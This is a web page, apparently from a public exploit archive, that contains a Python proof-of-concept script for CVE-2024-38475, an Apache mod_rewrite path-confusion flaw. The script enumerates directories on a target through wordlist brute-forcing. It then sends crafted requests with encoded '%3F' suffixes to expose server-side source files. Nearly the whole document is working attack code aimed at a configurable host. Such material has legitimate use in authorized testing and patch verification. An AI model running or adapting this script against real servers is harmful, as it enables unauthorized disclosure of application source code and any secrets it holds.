4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-38475.py PY
#!/usr/bin/python3
# Credit: https://blog.orange.tw/ | https://x.com/orange_8361
from termcolor import colored, cprint
import requests

webroot            = '/var/www/html' # '/var/www/html' map the webroot without the trailing backslash
directory_wordlist = 'raft-medium-directories.txt'
file_wordlist      = 'raft-medium-files.txt'
url_ip_domain      = '127.0.0.1' #map the ip/url/domain without the trailing backslash or schema.
schema             = 'http' # http or https
payloads           = ["%3F", "%3Fooooo.php", ]
_directories       = []


def directories():
    with open(directory_wordlist, 'r', errors='replace') as f:
        lines = [word.replace('\n','') for word in f.readlines()]
        for line in lines:
            r = requests.get(f"{schema}://{url_ip_domain}/{line}/", allow_redirects=False)
            if r.status_code == 403:
                print(colored(f"Found directory - {line}", "green"))
                _directories.append(line)

def source_code_files():
    with open(file_wordlist, 'r', errors='replace') as f:
        lines = [word.replace('\n','') for word in f.readlines()]
        for line in lines:
            for directory in _directories:
                for payload in payloads:
                    # Example: http://localhost/var/www/html/index.html%3F - Depends on the RewriteRule in apache config.
                    r = requests.get(f"{schema}://{url_ip_domain}/{directory}{webroot}/{directory}/{line}{payload}", allow_redirects=False) # remember to change webroot depending on target.
                    if r.status_code == 200:
                        print(colored(f"Reponse code: {r.status_code} | Found File - Payload: {r.url}", "green"))

if __name__ == "__main__":
    print(colored("\nLooking for 403 directories.", "yellow"))
    directories()

    print(colored("\nLooking for interesting source code disclosures.", "yellow"))
    source_code_files()